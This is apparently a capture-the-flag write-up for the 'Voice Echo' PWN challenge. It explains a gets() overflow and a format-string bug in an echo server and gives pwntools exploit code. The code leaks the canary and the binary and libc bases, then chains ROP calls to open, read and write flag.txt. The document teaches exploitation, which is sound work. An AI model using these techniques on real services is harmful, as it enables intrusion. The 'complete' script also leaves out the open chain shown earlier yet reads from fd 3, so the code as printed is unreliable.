3 min read

[CTF] WU - Voice Echo

CTF InterCampus Ynov 2024

Difficulty Level : Insane

Challenge Category : PWN

Description :

Server is designed to echo back whatever you send it, but there's more to it than meets the eye.

Challenge Description

In this challenge, you'll face off against a simple echo server with a hidden twist. The server is designed to echo back whatever you send it, but there's more to it than meets the eye. Your task is to uncover the vulnerabilities hidden within the server's implementation and exploit them to retrieve a secret flag.


Vulnerabilities

1. Buffer Overflow in echo()

The echo function uses a buffer (char buf[60]) to store user input. However, it relies on the gets() function, which does not perform bounds checking, leading to a potential buffer overflow.

void echo(){
    char buf[60];
    memset(buf, 0, sizeof(buf));
    while (true) {
        printf("> ");
        gets(buf);
        printf(buf);
        // Vulnerable: No bounds checking
        // Vulnerable: Format string vulnerability
        if (strcmp(buf, "exit") == 0)
            break;
        putchar('\n');
    }
}

2. Format String Vulnerability in echo()

The printf(buf); statement is vulnerable because it directly prints user input without specifying a format string. This allows an attacker to use format specifiers like %p to read memory contents.


Exploitation Strategy

1. Leaking Memory Information

The binary includes security mechanisms:

  • Stack Canary: Protects against stack-based buffer overflows by placing a canary value before the return address. If the canary is altered, the program terminates.
  • PIE (Position-Independent Executable): Randomizes the binary's base address, making it harder to predict where functions and variables are located.
  • Libc Base Address Randomization: The libc address must also be determined for successful exploitation.

The format string vulnerability can be exploited to leak:

  • The stack canary.
  • The binary's base address.
  • The libc base address.

2. Constructing a ROP Chain

Since the binary restricts certain system calls (e.g., execve, fork) via seccomp, traditional shellcode is not an option. Instead, we construct a ROP chain using allowed functions like read, open, and write.

The ROP chain will:

  1. Read the flag filename into a writable memory section (.bss).
  2. Open the flag file and obtain a file descriptor.
  3. Read the flag's contents and print them to standard output.

Exploit Development

Step 1: Leaking the Canary and Base Addresses

The following format string payloads leak the necessary memory addresses:

# Send format string payloads to leak memory information
for i in range(25):
    r.sendlineafter(b'> ', f"%{i}$p".encode())
    log.success(f'i => {i} ::'.encode() + r.recvline())

# Extract the canary, binary base, and libc base from leaks
r.sendline(b"%17$p.%19$p.%21$p")
r.recvuntil(b"> ")
canary = int(r.recv(18), 16)
log.success(f"canary = {hex(canary)}")
elf.address = int(r.recv(14), 16) - elf.sym.main - 24
log.success(f"elf.address = {hex(elf.address)}")
libc.address = int(r.recv(14), 16) - libc.sym.__libc_start_main + 0x36
log.success(f"libc.address = {hex(libc.address)}")

Step 2: Building the ROP Chain

With the leaked information, we construct the ROP chain:

ROP Chain to Read the Flag Filename

filename = elf.bss() + 0x500  # Writable section in .bss
rop = ROP(libc)
rop.raw(b'A' * 0x48)         # Overflow buffer
rop.raw(canary)              # Preserve the canary
rop.raw(0xdeadbeef)          # Padding for stack alignment
rop.read(0, filename, 0x10)  # Read flag name into .bss
rop.raw(elf.sym.echo)        # Call echo function again
r.sendlineafter(b"> ", rop.chain())
r.sendlineafter(b"> ", b"./flag.txt")  # Send flag file name

ROP Chain to Open and Read the Flag

rop = ROP(libc)
rop.raw(b'A' * 0x48)
rop.raw(canary)
rop.raw(0xdeadbeef)
rop.open(filename, 0, 0)  # Open the flag file
rop.raw(elf.sym.echo)
r.sendlineafter(b"> ", rop.chain())
r.sendlineafter(b"> ", b"exit")

# Reading the flag using the obtained file descriptor
fd = 3  # File descriptor for the opened flag file
rop = ROP(libc)
rop.raw(b'A' * 0x48)
rop.raw(canary)
rop.raw(0xdeadbeef)
rop.read(fd, elf.bss(), 0x40)  # Read flag into .bss
rop.write(1, elf.bss(), 70)    # Write flag to stdout
rop.raw(elf.sym.echo)
r.sendlineafter(b"> ", rop.chain())
r.sendlineafter(b"> ", b"exit")

Complete Exploit Script

#!/usr/bin/env python3
from pwn import *
from time import sleep

elf = ELF("./main")
libc = None
context.binary = elf

def conn():
    global libc
    if args.LOCAL:
        libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
        r = process([elf.path])
        if args.DEBUG:
            gdb.attach(r)
    else:
        libc = ELF("./DockerLibc/libc.so.6")
        r = remote("127.0.0.1", 1237)
    return r

def main():
    r = conn()

    # Leak memory addresses
    for i in range(25):
        r.sendlineafter(b'> ', f"%{i}$p".encode())
        log.success(f'i => {i} ::'.encode() + r.recvline())
    r.sendline(b"%17$p.%19$p.%21$p")
    r.recvuntil(b"> ")
    canary = int(r.recv(18), 16)
    log.success(f"canary = {hex(canary)}")
    elf.address = int(r.recv(14), 16) - elf.sym.main - 24
    log.success(f"elf.address = {hex(elf.address)}")
    libc.address = int(r.recv(14), 16) - libc.sym.__libc_start_main + 0x36
    log.success(f"libc.address = {hex(libc.address)}")

    # Build and send ROP chains
    filename = elf.bss() + 0x500
    rop = ROP(libc)
    rop.raw(b'A' * 0x48)
    rop.raw(canary)
    rop.raw(0xdeadbeef)
    rop.read(0, filename, 0x10)
    rop.raw(elf.sym.echo)
    r.sendlineafter(b"> ", rop.chain())
    r.sendlineafter(b"> ", b"./flag.txt")

    fd = 3
    rop = ROP(libc)
    rop.raw(b'A' * 0x48)
    rop.raw(canary)
    rop.raw(0xdeadbeef)
    rop.read(fd, elf.bss(), 0x40)
    rop.write(1, elf.bss(), 70)
    rop.raw(elf.sym.echo)
    r.sendlineafter(b"> ", rop.chain())
    r.sendlineafter(b"> ", b"exit")

    r.interactive()

if __name__ == "__main__":
    main()